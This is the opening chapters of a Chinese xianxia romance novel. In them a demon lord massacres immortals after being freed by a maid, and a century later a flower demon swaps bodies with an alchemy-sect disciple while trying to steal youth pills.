《镜我心莲》
1. 第 1 章
祥光瑞霭,流云悠悠。
此地灵息氤氲,正是仙界清虚天。今日降得魔君无奕,境守十二天极端坐莲台齐聚,仙家弟子把守在侧。
“白芷仙主,你降魔有功,将功抵过。金仙命你重回天极尊首侍女之位,奉其左右。”一道传音自境外飘来。
白芷垂下头,退至天极尊首身后,低声应道:“是。”
他身陷囹圄,封脉丹的压制下跌落窥虚境,却好似不在意。长身玉立,一双狭长凤目冷淡无情。一袭玄衣,长发用琉璃玉冠束起。露出一张微微苍白的面容。长眉斜飞,墨色长眸幽静,神色淡淡的。
她低低的垂下头,但还是感受到他的目光。
天极尊首缓缓开口,“古来仙族为大道,然万年之前,魔得长生。魔界自此昌盛而戮我仙族无数。今日遭逢此劫,你莫要负隅顽抗。若自散魔息,仙界便允魔族一条生路,你可豁然觉悟?”
无奕眸色一暗,目光沉沉,眼中露出一丝嘲讽,“可笑,你们未免太狂妄。”
满座皆哗然,仙界弟子登时拔剑相向,天极之一愠怒,“大胆,无知小辈!”
他魔息绕指尖,空握剑芒,弟子一惊,力渐不敌,反被夺剑摔地。无奕长眸冷冽,眼底杀机尽现,“仙界的人,别靠我太近。”
白芷强自镇定,心不在焉,手中物什不慎滚落。好在对方不多过问,捡起悄悄塞予她,“白芷,你怎么啦?。”
她心如乱麻,眼皮跳个不停,露出一个勉强的笑,接过瓷瓶胡乱塞于衣袖。黄鹂和她同为尊首仙侍,平日里对她颇为照顾,今日她竟连声谢谢也忘了说。
另一位天极八面玲珑,他抬手示意弟子收剑,独自离座上前。一堵无音禁制隔开众人,微微一笑,压低声音靠近,“放心,我绝不乘人之危。白芷乃是你所爱,此事若成,我便让她随你下界,如何?”
无奕面无表情,“笑里藏刀。”
他挥手间,一朵极阳极灼的玄凰莲被禁锢在身前一寸再难向前。这是至阳烈毒的仙草,若打入体内则经脉尽焚,对方欲下死手却被发现。
无奕将计就计,玄凰莲被借力反打入那天极体内!无奕解开禁制,长眸不掩轻蔑,挑眉嘲笑,“她这般歹毒之人,我欲置死地还来不及。”
那天极面色一沉,嘴角沁血,咬牙切齿,也不再掩饰,“你如今不过窥虚境,休要猖狂!”
无奕冷笑一声,眸中锐光隐隐,杀意凛然,衣袂翻起,昆仑雪随即应召而来。手疾如风,一剑自摩妙胸膛贯出,整套动作连贯不过须臾。
众人还未回过神来,他已经不可置信的倒下,身下一摊血水晕染散开。黄鹂手捂住尖叫之声,其余天极怒意渐起。
尊首震怒,“你境界跌落,还敢动手!简直狂妄!”
无奕神色自若,眸中带笑意,“那又如何,窥虚境战你们也绰绰有余。”
尊首脸色一沉,这魔头狡诈无比。十二天极的伏魔阵极难破解,如今一人已死,他们再无结阵可能。恰逢今日金仙不在,他要大开杀戒,只是未免也太小瞧他们余下十一人了。
天极之一再无法按捺,震怒呵斥,“众仙家弟子得令,将此魔头拿下!”
众弟子纷纷祭仙决而上,层层包围。剑芒寒光闪过,数人相继倒地,尸身落地,平静的血水泛起圈圈涟漪,竟无人能阻其脚步。
他缓步向前,声音冷冷,“你们所有人都得死。”
清虚天的气象随诸位天极心境而动,彼时日光褪散,乌云压境,空中惊雷闪过。
天极尊首眉间紧锁,冷静地吩咐身后,“速唤大罗金仙前来!”
黄鹂应声,吓得花容失色,跌跌撞撞跑了出去。白芷随即跟上拦住她,“阿鹂,我去吧。”
黄鹂点点头,正想回去。白芷不由分说敲晕了她,黄鹂惊讶地回头,张嘴说不出话,已合上眼瘫软倒在她怀里。
清虚天内惨叫声此起彼伏、不绝于耳,一时血光映天。白芷将黄鹂悄悄安置于角落。忽的一股浓烈的血腥气钻入鼻息,一阵寒光朝门面刺来,不及躲避。
她睁开眼,剑风吹开发丝,昆仑雪停于咽喉一寸,止步不前。
剑身映着她的脸,他杀意淋漓,长衣翻飞猎猎作响。
她怔怔望着他,他也沉沉望着她。
无奕面庞沾血,未干透的殷红与苍白皮肤相衬,顺着喉结滑落至锁骨处,浸染玄色领口。眼睫低垂,长眸深邃,仿佛一眼也望不见底。
他长得好看,在魔界时她就知道,那双动人心魄的眼,她是记在心里的。可是她不知道,相隔咫尺,那双眸犹如冰铸,此刻望着,竟像个陌生人。
剑风中夹杂了彻骨寒意,她长发被吹起,好似看不清他。恍然出神间,仿若耳边不是剑风呼啸,而是那夜月色之下,碧岚宫中的花浪徐徐。
那日月至中宵,庭花簇簇,银辉流泻,碧花笼在淡淡光晕里。他长睫微颤,投下一小片阴影。眸色沉沉,眼里似浸了清浅霜天的秋雨,飘落洗尘。
又好似此刻,他眼中明明没什么情绪,恍然间却残余一丝温柔。慢慢逼近她,声音低沉,“我最后再来取你性命。”
他收剑离去,她如梦初醒。此刻终于来临,她怆然一笑,竟有种松一口气的感觉。
仙家弟子全部倒下。无奕脸上没什么情绪,径直越过她走向天极。
以尊首为首,众天极一齐布施仙诀,仙幡腾空放大数倍,愈转愈疾。惊雷乍现,一念天怒。金光织起一张密不透风的网,自天边倾笼而下,境内登时狂风大作。
众天极齐念,“一气化三清,万我大手印!”
威压千斤,顷刻落下,天法罩专为伏魔。无奕的脚步一滞,竟再难向前半分。尊首眸带狠厉,大喝一声,众天极一并听号发力。无奕瞬间单膝跪下以剑抢地,长发纷乱飞扬,他清咳一声,吐出一口血水。
天极露出满意的笑容,“哼,身中封脉丹,还敢狂妄至此。今日便是你死期!”
尊首眉间不见喜悦之情,神色依旧巍然,甚至隐隐作忧,“黄鹂为何迟迟未归?白芷,你且前去寻她。”
白芷垂首看不清神色,轻声回应,“是。”
无奕低头,撑剑欲起,开始了几次,皆无力为继。喉间腥甜翻涌,气息逐渐不稳,他已是强弩之末。
空中惊雷闪过,骤雨初现,映得白芷面色惨白,眸中沉黯。她快步走至无奕面前,拿出那个精巧瓷瓶,喂他将瓶中液体一饮而尽。
事情发生得太快,众人始料不及。无奕
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抬头看她,眼中露出一丝愕然,这竟是封脉丹的解药!
白芷面无半分悔意,却笑中带苦。刹那间天地失色,如春风化雨。
天极面上的笑意似风流云散,瞬间消失得无影无踪。尊首终于面上失色,厉声质问,“大胆!白芷,你在做什么!”
白芷磕了一个头,指尖用力发白,“回尊首,今日此举,白芷愧为仙家弟子,望……”
一贯冷静自持的尊首眼中终于卷起风暴,那是风雨欲来之势,“你助纣为虐,简直目无天法!”
尊首在等白芷的解释,良久的沉默下,骤雨倾泻,绝望漫无边际。
她垂首,身躯微颤,“……望尊首行罚,白芷认罪,心甘情愿。”
尊首抬起手掌,额间青筋暴起,怒极反笑,携九天雷霆之威,“好,好。那今日,我便先清理门户!”
一道金罡飞来,昆仑雪出鞘挡下。下一刻,天境血云翻滚,黑雾遮蔽,天光敛去,骤雨更厉。
空中魔气腾飞,隐约可闻怨灵呼啸,血水翻涌。死去的弟子尸体以诡异的姿势僵硬爬起,反向天极攻去。
见此儡尸邪术,几位天极面如土色,一人自莲台摔落,力弱不敌者未战几招便败下阵来,无奕冷笑一声剑光闪过,清虚天内掀起一阵腥风血雨。
白芷麻木地跪在地上,不敢抬头。见那血水透进一团团愈发浓烈的红雾。像泼墨画般散开,舔舐她的脚踝。周遭只余毛骨悚然的惨叫和尸体倒地声。
“啪!”
天极之一尸身横倒她面前,手中犹握断裂法尺,面目狰狞、波澜惊起。她绝望地闭上眼。
再度抬头,周遭已是尸骸遍地,宛若无间地狱。十二仙幡碎其十一,仅余一座苟延残喘,在天极尊首手中。
无奕带着压迫感,步步向前紧逼。尊首咬牙紧握拂尘,却是不退,“……仙界不会放过你的。”
无奕似笑非笑,嘴角有些讥讽,“你自身难保,不知何时搬救兵?”
尊首脸色如黑云压城。终是忍无可忍,掷出拂尘,“孽障,受死!”
拂尘迸发金光,飞袭而去。极微的破空音后,一阵巨响声彻九霄,如悲鸣。
霎时,尘柄上已是裂纹满布。尊首被破膛而出,双目圆睁,嘴角渗血,已无声息,十二天极尽数覆灭。
天地寂灭,余他二人。血漫尸骸,雨势渐微。
他玄衣逶迤,潇洒绝丽。手中提着昆仑雪,血水顺剑尖流过水面上,拖出一道蜿蜒延伸的红痕。
她垂着头,望着那双盘覆魔族焰纹的沾血皂靴停于身前。
剑气陡然,又向她逼来。
也许她早就知道这般结局,早就知道他不信她,可她却不愿承认。只愿相信他看她的眼神几分柔情,只愿相信若是挚爱,无论何时执手不晚。
她抬头,茫然怔肿的望着他。此刻似咫尺天涯,天各一方。她眼前模糊一片,有锥心之痛刺骨,仿若雾里看花,什么都看不清。
若是能在他手中了结,也是件幸事。
他脸色微微一变,目光一震。
她有些奇怪,他这人向来面无表情,此刻为何长眉微蹙,眸色沉沉,一瞬不瞬的看着她。
却发现,原来是她脸上已泪痕满布……
2. 第 2 章
一百年后。
当年,云天真人自天剑门脱离而出,见无相山上水清势好,采撷日月精华,乃是炼丹绝妙之处。便耗费三年,借天剑门璇玑石在山上布下一座天璇大阵,有专为丹药增香增品之效。
真人自此山门开创天璇丹宗,百年之间,天璇宗逐渐发展起来,虽是小派,倒也兴旺。时至今日,宗门由宗主云天真人、几名长老、数百名内外门弟子组成。
天香正是天璇宗新晋外门弟子,只能干些守丹炉杂活。丹房的活甚是无聊,不过看火添柴,分砂练粒。
她拿起一本闲书《启天记事》打发时间,书中记载自天地初开,分出各大氏族。其中仙族独尊为天道,其余人、妖、魔道则统称外道。仙族人皆为完满命格,而外道族人则天生命格残缺。人族短寿,不过百年,妖族天生需突破化形一关,否则修为上限低,魔族则不入轮回,身死即灰飞烟灭……
今日加上她,丹房共值守四人,其余几人守炉没事干,枯坐凳上犯困,便就着火光闲聊起来。
女弟子先开口,“你们听说了吗?前几日天璇宗有个弟子在山下失踪了。”
男弟子摇摇头,“怕是去山下小酌几杯误了事。”
女弟子凑近,“非也,那人杳无音讯一月有余,众人寻不到他半分踪迹。”
男弟子一骇,“……他不会是被魔族掳走了吧?”
女弟子压低声音,“若真是惨遭魔族毒手,恐怕都尸骨无存了吧……”
他几人聊的起劲,天香懒得理会,低头继续看书。
……传闻远古时期,各大氏族皆为求长生而战。仙界独尊,得长生道如探囊取物。启料上万年前,长生道竟由魔族争得。自此魔族强盛,仙界忌惮。为抑制魔界势力嚣涨,仙族出手讨伐。渐渐的,人族与仙族为伍,妖族则与魔族共进退,两方对立,水火不容。
见天香一言不发,女弟子发问,“天香,你对此事提不起兴趣?”
天香讪笑不语,有何兴趣?来来去去都是那些个纷杂乱事。
那女弟子自讨没趣,不愿再提,忽的想起另外一事,兴奋说道:“我听说,今日来了高阶丹师讲学。我们偷偷去瞧瞧罢?”
“好啊,好啊。可这丹房……”
天香微微一笑,“你们去,我看着丹房。也不必急于归来,待下次轮值还余不少时辰。”
天香表现反常,那几人反而不敢走了。她只得解释,“我只是一人喜静。放心,我发誓,绝不会将此事说出去的。”
众人见她诚恳,又想她不是多舌之人。终于感激地点了点头,满心欢喜地去了。
待几人走远,天香才擦了擦额角一层薄汗,放下闲书。她实在不会诌谎。趁四下无人,她开始翻箱倒柜起来。
此事究竟为何?还要从三日前说起。
其实她并非人类,而是朵彼岸花妖。妖在魔界是最弱小的存在,唯有聚妖洞这一条出路。可惜她资质愚钝,活了百余年未踏足引气境,聚妖洞也将她拒之门外。
好在妖族虽不及魔族长生,却也生有几百年寿命。即便修为上天资拙浅,也可赚些灵石安稳度日。为了生计,她便四处做些杂活谋生。天香也是她随口取的,她只是偶尔给转轮城香溢斋做厨子或跑腿送些吃食。
天香正累的脚不沾地,好不容易挨着柱子休息会,斋主却轻嗤一声,“谁让你歇着?把这个送去两条街外的酒楼。”
她楞了一下,斋主已经把吃食塞她手里。
“我一会再去......”天香闻言一急,小声抗议。
斋主头也不回,呵斥道:“快去!一刻钟内回来。”
她望着斋主离开的身影,跺一步脚,愁着小脸跑出去。心中直道,等她赚够了灵石,迟早有一天要把整座香溢斋买下来,到时看谁还敢使唤她。
小跑至酒楼,只需上楼将吃食交出去就可以交差了,反正还有时间,她便凭栏小憩旁听说书来。
墨先生一拍醒木,绘声绘色,“魔君无奕失踪后,几位城主明争暗斗,争坐这个位子,其中转轮王和平等王风头最盛,可惜谁也不服谁……”
一晃许久,不可误时,天香往外走去。无奈人潮拥挤,互争前排。越往外挤,越堵得严实。慌乱中碰到一人,羹汤洒对方一身。她从地上爬起,看清对方脸,已是冷汗涔涔。
那女人神态娇媚,惑阳城,迷下蔡。竟是转轮城主的夫人青衣,一袭绛绡妖裙浸染大片污迹,美人眸色渐冷。天香吓得一哆嗦,跪在地上,“城主夫人饶命!”
众人登时鸦雀无声,纷纷退后,向她投来同情目光。连墨先生都滞在原地,青衣的侍女抬头示意,他才继续说下去。
青衣面上笼一层阴云,眸中满是不悦之色。却漫不经心照了照镜子,不紧不慢地抬眼,“山翠,你方才说,那些驻颜丹是从人界天璇宗搞来的?”
山翠掩面而笑,用只有青衣能听见的话语轻声道:“回夫人,正是。昔日我去人界游玩,遇个名为周术的天璇宗小道士,戏弄杀之,自他身上顺了几枚回来。”
青衣瞧着铜镜,见镜中绝艳面容眼角生出几道细纹,颇为不满。天璇宗的驻颜丹,通体赤红,不仅能永葆芳华,更平添几分仙气,实为至宝,不妨找人再弄些来。
她似笑非笑,忽的瞥了一眼仍跪在地上的天香,“十五日为限,替我去找几枚天璇宗的驻颜丹来,就绕了你。”
山翠抬手,在她元神打上天魔符。此符十五日为期,不除则毙命当场。山翠冷声,“还不快谢夫人。”
天香钝住还未回神,众人暗自感叹。谁不知青衣夫人行事狠厉无端,还以为今日需得血溅四座。只道此女运气好,实则不然。青衣抚了抚脸庞,眸中深不见底。
无人知晓,绛绡妖裙其实是妖皮做的,血迹深暗,故而呈绛。既然她弄脏了裙身,便只得用她重做一条了。
所以,不论十五日后她能否拿到驻颜丹,都得死。
幸好天璇毕竟是新秀宗门,正值发展时期,筛选弟子并不严格,她便混入其中做了个看炉的外门弟子。虚度几日,终于找到一个机会支开众人,属实不易。
那驻颜丹虽珍贵,也算不上什么稀世珍宝,说不定丹房便能寻到。但木屉一连几竖,摆放各类汞水药泥。她连翻几处一无所获,心下焦急愈发慌乱。
此时一个略带低沉的声音响起,“你在翻什么?”
她心神大震,慌忙转身。他站在身后,头束白玉冠,唇若朱砂风姿卓绝。玄青的宗门弟子衫并不减去他清冷的容光,反而更让人有种轩然夺目的错觉。他虽生的好看,却微微皱眉,好像世间没什么入得了他眼。
他是什么时候入丹室的,她竟毫无察觉!
此人她认识,正是掌门弟子游奕陵师兄。此刻被他戳破,实在不知如何应付。只好一边打谎话腹稿,一边目光飘向大开的门。
游奕陵看破她心思,抓起她的手腕,冷冷道:“你是弥恒派的还是抱元谷的?若是不肯说,便只能请你随我走一趟了。”
天香不禁愕然,原来他怀疑自己是别个门派来偷师的。但转念一想,绝不能说她是其他门派来的,届时闹到掌门那去,她是妖的身份就暴露了!
她假装悔恨的低下头,胡诌起来,“……都不是,其实我资质愚钝,修为连引气境也难进。只能入天璇当个外门弟子,只是一时心切,妄图偷灵丹涨修为,走了歪路。”
游奕陵沉吟半晌,见她身无半点灵息,确实不曾踏足引气境,不像撒谎。他眉峰微蹙,“……念你初犯便作罢,不可有下次。”
天香摸了摸鼻子,觉得心虚。再聊下去难不暴露,先离开此处,便顺着他意思,“师兄。你说得对,我记下了。”
她不着痕迹脱开他的手,不敢与他对视,脚底抹油向门口溜去。
游奕陵见她虽没有灵息,但若是妖魔族,也不会有灵脉波动。深思片刻,他又跟了上去,“对了,你是何处人士?”
天香心凉半截,她从未来过人界,对此处地名一概不知。她神色闪过一丝不自然,想着怎么才能让他离开,一时支支吾吾,“我是……”
说着她又往大门挪了几步,察觉她的神色不对,联系之前种种,游奕陵面色一沉,“为何急于离开,你在骗我?”
天香面色苍白,神色慌乱。发觉他不好
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糊弄,急忙想出丹房。却愈发验证了她心里有鬼。被游奕陵堵住,禁锢在一处墙角,无处可逃。他的声音贴得很近,“你到底是谁,一验便知。”
“你放开我……”她喃喃低语,轻哼了一声,却挣脱不得。
游奕陵指尖点她额间,一股寒冷的气息贯穿浑身经脉,直到她眉间陡生团黑雾,气息瞬时撤离。一柄泛着寒光的长剑指着她咽喉。
他眸色渐沉,语气让人寒栗,“你是魔界的人?”
天香来不及细想,推开他的剑便向外跑。慌乱之中,她撞到了什么重物,丹炉轰然翻倒,灼砂倾覆,场面顿时失控,丹房走水了。
游奕陵神色虽然镇定,却不得不先控制火势。天香不敢犹豫,趁机向外跑去。却在触碰到焰火的那一刻,直接躺倒在了地上。他不以为然,“……你在装死?”
过了一会,她仍是毫无反应。他走近一看,竟是真晕过去了,游奕陵心中冷笑直道甚好,就借这大火除魔,可惜丹房不能为她陪葬。
他制住火势后,又看了她一眼。她躺在地上,一动不动,面上失了些血色。火光映在她的脸庞,竟有些说不出的温和。
细想想,还没有问出她的目的,不可就此放过,待她清醒再说。他只好慢慢走至她身边,抱起她。
天香做了一场梦,梦里她是荒原上唯一一朵花,朝云晚霞作伴。那日,余晖散成绮,风清明。忽而,霞光竟化作星火,天光坠落,烈火燎原。她被火无情地灼烧,陷入无尽地狱。
“啊——!”她大叫一声惊醒。
她从茫然中回神,擦去一头汗。想起来了,自己打翻了丹炉,花碰火便枯,所以她晕了过去。刚醒来便看到床旁的游奕陵,她登时警铃大作,想往屋外跑。
游奕陵似乎有些不快,他岂会让她得逞?门上早下了禁制。她察觉逃离无望,悄然退后,背靠墙壁。气氛冷了下来,他渐渐逼近,“你为何来天璇宗?”
天香盯着他,紧咬嘴唇,一言不发。只怕,她挨不到回去交差,就该折在这里了。
她不敌他,却也不是毫无胜算。软的怕硬的,硬的怕横的。天香心一横,豁出去了。
天香赫然上前,欲夺他腰间佩剑。被游奕陵侧身制住,但剑已出鞘,竟在他手上划伤一道口子,鲜血溢出,索性不深。
她推开他,冷冷道:“与你何干?”没承想,触碰他的那一刻,无数杂乱画面在她脑海中飞掠闪过。
短暂恍惚后,回神才惊觉自己的面孔出现在眼前。视线陡然变高,她不敢置信地摸了摸脸庞。面上沾了殷红,定睛一看,竟是方才游奕陵掌心那道血痕作祟。
她跑至铜镜前反复确认,如雷轰顶。她竟然顶着游奕陵的脸,二人互换了身体!
游奕陵也好不到哪去,他前胸顿时浮挺,目及一片柔软。再看下摆已是罗裙一袭,分明是女款。思维迟钝片刻,很快反应过来,他冷着脸,“你使的什么妖术?!”
未曾想她也脸色铁青,一脸气愤,几乎同时出言呵止,“你,你快还我身体!”
游奕陵看着她,面无表情,只觉她谎话连篇。心中冷笑一声,这招实在是高明,如此一来他便无法对她下手。
但他也不是全无应对之法,此招与道术移花接木颇有异曲同工之妙,他当即使出其中招式移形换影破解一试。游奕陵念诀施法,身上一层极淡光晕覆盖。
此招移形换影所需内力极高,却被他用得如此随意。想不到他一介丹师,竟有如此本领。
天香见他施法,本想乘人之危。转念一想她也心急如焚想换回身体,加之天魔符印于元神,就算换了身体她也难逃一死。他使的这些道术深妙,她还从未见过。
只是游奕陵符诀术法试了数十种,二人还是没能换回身体,世间竟有这等不破秘术。
他是沉静之人,此刻皱了皱眉,只能耐着性子道:“……你先将此术解除,我不会对你出手。”
见他也无计可施,天香惶急的心情一沉到底。一听他还在怀疑,又心头火起,怒道:“我倒是想换回来!”
此刻,他二人换不回身体。即便相看两厌,也只能暂住此屋。
3. 第 3 章
一夜过去,游奕陵睁开眼时,头痛欲裂。阳光投进屋内,竹窗外已是晨光微曦。
天香用着他的身体在一旁睡得极为香甜。昨晚二人各种法子试了个遍,甚至夜半三更引天雷入体,皆未能成功,最后疲惫不堪睡去。
游奕陵见到天香,只觉眼前场景和噩梦重叠在一起。再低头,见自己纤手一双,心头涌上烦躁。想也没想,解开门上禁制,一把推开她便往屋外走去。
天香一惊而醒,脑子一团混乱,忽而想起自己在他屋里睡着了。揉了揉眼,打个哈欠还未来得及追上他,“……哎,你去哪?”
游奕陵一张脸阴沉得可以拧出水,没理会她,推开门却瞧见一名男弟子站在门口。
那男弟子瞬间呆若木鸡,紧接着联想到他可能撞破了什么,显出有些局促的尴尬,“……天香师妹,师门上下都在寻你,你怎么在游师兄屋内?”
游奕陵想起自己还顶着天香的身体,明知弟子误会了,却也不好解释。面色十分难看,只得淡淡道:“有什么事吗?”
男弟子心中嘀咕,他没怎么见过这位新晋小师妹,但听说也是温和良善。怎么现在见着,说话像游师兄一般不客气。
他小心翼翼道:“师妹,昨日丹房起火,掌门责罚你们各挑十桶水。其余弟子都在受罚了,独不见你。我是替掌门来喊游师兄的,没想到师妹你也在屋内……”
天香才走到一半,觉得没睡好,腰酸背痛。微微一怔,指着自己,“额,掌门……师父找我?”
男弟子莫名觉得,师兄倒是好说话起来。笑了笑,忍不住多言几句,“游师兄,物分阴阳,讲究调和。此事并无不妥,不必窘态。你已有心仪之人,师门那几位思春师妹免不了要一阵伤心了,要是……”
游奕陵脸色越发阴沉,打断他的话,“你话太多了。”
男弟子挠头,喃喃自语,“我说的都是实话啊……”
天香根本没在听,心里只想着如何应付。掌门神通广大,一探便知她底细。她还怎么离开此处,愈发惴惴不安。
男弟子看两个人都十分怪异。不过转念一想,人家道侣之间的事,他不再多嘴,迅速离开。
天香见门上禁制已经解了,倒是想溜之大吉。可她又想换回身体,待在原地,心虚不敢直视游奕陵。
游奕陵心想,此秘术他无计可施,但或许师父另有他法,他丢下一句,“先挑水,再见掌门,你若是敢跑就试试。”
天香气的又不敢多说,忙追上去,急急说道:“哎,挑水这种事你施法就解决了。”
无相山半山腰,正当午日,烈阳毒辣。
游奕陵挑着水桶,气定神闲。天香徒步走得满头大汗。明明是用着天香身子的游奕陵挑水,她却比他更累。
施法轻易,但山门弟子见状,免不了怀疑。还不清楚她来天璇宗的目的,此事知道的人越少越好。
谁知她走得实在太慢,他们从晌午挑至落日。其余弟子已开始挑最后一桶,几人碰巧遇上。他们皆因天香才受罚,不由得埋怨起来。
女弟子拉下脸,嘲讽道:“你口口声声说替我们看丹炉,却连累众人受罚。挑个水都要人陪,还这么慢。”
男弟子歇脚擦一把热汗,“早知你连个丹炉都看不住,我们不如坐着闲聊好了。”
游奕陵周身气压更低。再这样下去,怕是到天黑都挑不完,师父还在等他。听几个外门弟子奚落,他终于无法忍耐。
余晖中,陡现一道凭空而上的水柱。晚霞于其中折出五彩虹,美不胜收,让人不禁怀疑此地便是仙境。游奕陵施法,十桶水片刻搬妥。
那几人看着天香拉着游奕陵,向主峰乘风而去的背影,面面相觑,“……天香她,什么时候学的这些法术?”
游奕陵吐出一口长气,推开房门。屋内不大,几张木椅。只见一个灰袍圆脸的老头,靠着椅背睡着了,隐约传来鼾声。这便是他师父,天璇宗主云天真人。
云天真人年轻时也曾是天剑门弟子,因剑艺不精,屡屡负伤。寻常小伤用法术治愈颇为小题大做,他便炼些丹药,结果他炼丹术的名气越来越大。索性离开剑宗,自立丹宗门户。
游奕陵仿佛恍神回到那晚,山风大作,夜色无边。他心生彷徨,天地之大,竟无一处是他归乡。这个老头笑着,向他伸出只皱巴巴的手。
云天真人被启门声惊醒,微微笑道:“奕陵你来了,这位是?”
天香对上云天真人视线,心中害怕,面露一丝慌张。好在真人很快移开视线,端详起游奕陵来。
游奕陵顶着天香身体,面上恭敬道:“掌门真人,我是新晋弟子,名天香。”
云天真人微微颔首,也不屏退天香,缓缓说道:“奕陵带你前来,想必是他极为信任之人。本座便直说了,前几日本座下山一趟,寻找周术踪迹,却找到一些魔气的痕迹。只要有半分希望找回周术,本座必不遗余力,你们可知晓?”
这一瞬间,游奕陵周身气场瞬间冷得可怕。天香垂下眼,心里一阵惶惶,想必他又认为是自己搞的鬼了。
真人静静看着天香,像是看透了她一般,天香吃了一惊。游奕陵面无表情,打了个稽首,“是,掌门真人是想派游师兄前去明察此事?”
云天真人点了点头,“不错,山门事务繁多,本座不便抽离。奕陵,此事便交由你。”
天香一听自己被点名,身上竟冒了些冷汗,“……是,掌……师父。”
好在真人并无动作,只是慈眉善目地笑着,挥了挥手,“你二人去吧。”
游奕陵走至门外,才惊觉自己忘了问身体互换的事。他面色阴沉,也罢,先将此事解决。
天香正思量她的天魔符只剩十日,也要随他去降妖除魔吗?没注意游奕陵已将她带至一旁竹林僻静角落。
太阳几近落下,天色渐暗。翠竹浓密,入眼只此青绿。他神情冷淡,看不出任何心思,“周师兄去哪了?”
天香心里一沉,他果然在怀疑自己,她滞住,“我真的不知道……”
不知?她此行目的为何?只会装傻充愣,嘴里无半句真话。游奕陵怒意渐起,对她还是太仁慈了。
他面上已有几分讥讽之意,“你来天璇为再骗一个弟子吗?”
天香惊讶,他那么讨厌自己,她缓缓垂眸,“……我从未对任何天璇宗弟子出手,你信我吗?”
他想也不想,“我为何要信你?”
竹涛阵阵,不知何处吹来一阵冷风,空中夹杂了几丝寒意。
天香怔了怔,是啊,明知道的,对方不可能相信她。心底尽是凉意,也不知道自己在期待什么,她扯了扯嘴角。
他眼底杀机凛然,冷笑一声,“你以为互换身体便高枕无忧了吗?”
游奕陵不多废话,一只手掌按于胸口,“今日你不说清楚,我自毁心脉也要除了你。”
天香看着他,指尖微微颤抖,慢慢低下头去,“对不起,我只是,来偷驻颜丹的……”她被逼无奈,只得将来龙去脉娓娓道来。
她妥协了,开始说自己来此的原委。听她开口,他反而平静下来。
游奕陵盯着她的脸,觉得自己反常,他过于冲动了。现在想想,以她的性格,想骗人还是等下辈子吧。不知为何,方才他理智全无。
索性已知其目的,至于天魔符期限,他不甚关心,妖魔罢了,生死与他何干?不过,他想得知周师兄下落,她想要驻颜丹,各自为利,不妨互相帮助。
他朝主峰看了一眼。去师父那里询问身体交换之事,待日后再说,眼下先追查此事。
天香见他看着自己,以为还是不信,解释道:“这一次,我说的是真的,句句属实!”
他心底无端烦乱,沉吟半晌,将情绪不着痕迹地抹去,缓缓
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道:“不如,我们做个交易。”
她怀疑自己听错了,“……什么?”
明月如霜,夜色融融。游奕陵随手向空中掷一片竹叶,那竹叶瞬时变大几倍,二人乘着往无相山脚飞去。
天香像八爪鱼一样黏着他,远处看是一位少年抓着少女,好不滑稽。她看下方呼啸而过的景致,心中已经开始打退堂鼓。可是从这里跳下去的话,游奕陵死不了,自己却可能一命呜呼。
他要她带他去魔界,调查那失踪弟子下落。此去魔界路途遥远,她花了三日来此,现在又要花三天回去。驻颜丹的配方也没有给她,说要等查到那人下落再说,那若是查不到呢?
她出神间,没注意已到山脚村落上,村上只有一间客栈。他早已辟谷,天香却是饥肠辘辘。他点了几碟小菜和几坛酒。
满桌菜上齐,凡尘气滚滚。有金香饼、凤尾虾、酿茄子甚至还有一罐煨鸡。这里不比城中,菜肴简陋些,但也令人食指大动。
天香还没吃过这些,满脸写着期待,眨一眨眼睛品尝起来。游奕陵自斟自饮,几杯浑浊的红川酒下肚,一言不发。
四个菜都尝一遍,很快她的表情从期待到失望,最后认命地摇摇头。游奕陵不解,“怎么了?”
天香笑了一下,“这些菜香味有余,口感不足。金香饼面团没发酵好,入口少些米香。酿茄子油不够多,失了鲜香。那煨鸡肉则太老了,嫩鸡选一岁半左右为宜。”
游奕陵眼底微微惊讶,“你还会烧菜?”他别说烧菜了,连煎个鸡蛋都头疼,当真没有这方面天赋。
天香以手支颐,闲聊道:“当然,我虽是妖,却不是聚妖洞的。我引气境也无,聚妖洞不收。便只能打杂活谋生,曾干过厨子,对做菜颇有心得。对了,你以前是干什么的?”
他面上有些微醺,眼中却很平静,“……不知道。我醒来就没有记忆,四处迷茫徘徊,是云天真人找到我的。”
天香讶然,但很快理解,“没事,轮回转生,其实一样会失了记忆。我见过太多受爱恨牵绊的转生魂,倒不如丢了记忆,俯仰快活几十载。记忆这种东西,留太多也没用啦。”
不知不觉他已经喝了很多酒,也没用法术催醒,眸中怅然一闪而过,“……我好像,活了好久好久。春秋来回别无二致,已经活腻了。”
天香无语地看他一眼,“……人生不过弹指百年,哪来得好久?你喝醉了。我警告你,别喝了,一会我可偷溜走了。”
他置之不理,一杯接一杯,越喝越凶。
最后他直接烂醉如泥,趴倒在桌上,连回话的力气也没有了。天香感到自己额头青筋暴跳,就要发作,“喂!姓游的,你给我醒醒!”
他趴在那里,一动不动。她无比后悔跟他下山这个决定。他明明可以施法催醒,却偏生忘记。天香怒而起身,“……喝死你算了。”
她本想直接走,心想他好歹请自己吃了一桌子菜。在门口徘徊半晌,又折返回来。很晚了,剩他们一桌客人,小二枕着桌子打盹,天香唤醒他。
小二瞅一眼她身后趴倒的游奕陵,“客官,您吃完了?您那朋友可真会喝,头一次见女子喝酒如此豪迈的。”
天香心中气结,郁闷无比。询问小二他早将这桌酒菜钱付了,住店的钱却是未掏。她满脸黑线地摸遍自己身上又摸遍他身上,什么也找不到。
小二试探问道:“……二位客官,还住店吗?”
游奕陵从不会带银两在身上,丹师只靠点石成金。天香更是穷得叮当响,身无分文。她无奈,只得扶着醉死的游奕陵来到荒郊野外。
山野间寂静万分,树影摇曳,远处坟头一只野猫跑过。她气愤地将游奕陵一丢,不想睡他边上,又怕晚上遇什么邪物。
转念一想,不对啊。明明她自己就是妖,为什么还怕邪物,好生奇怪。思来想去,困意袭来,她也沉沉睡去。
4. 第 4 章
晓露成珠,凝于长草,滴落游奕陵手背。他悠悠转醒,觉得头昏脑眩,还有些烧心。
他忍不住揉了揉眉心,想不起发生了什么,只记得昨晚醉得彻底。没想到那红川酒虽低劣,却是后劲极大。
天香还趴在他胸前未醒,想推开她,伸手却在空中滞住,犹豫着昨晚她似乎对醉倒的自己颇为照顾。至于那时说的醉话......他已尽数忘记。最终他叹了一口气,轻轻的将她靠于树旁才站起身。
游弈陵看着她沉吟半晌,一边施法恢复神智清明,一边出神。心中已转过七、八个念头,想不到她虽是妖类,昨晚却并未趁人之危,倒也心善。
半晌,又想到师父说的非我族类,其心必异。他不禁为自己方才的想法感到惊讶,摇了摇头,妖道终究不可信。
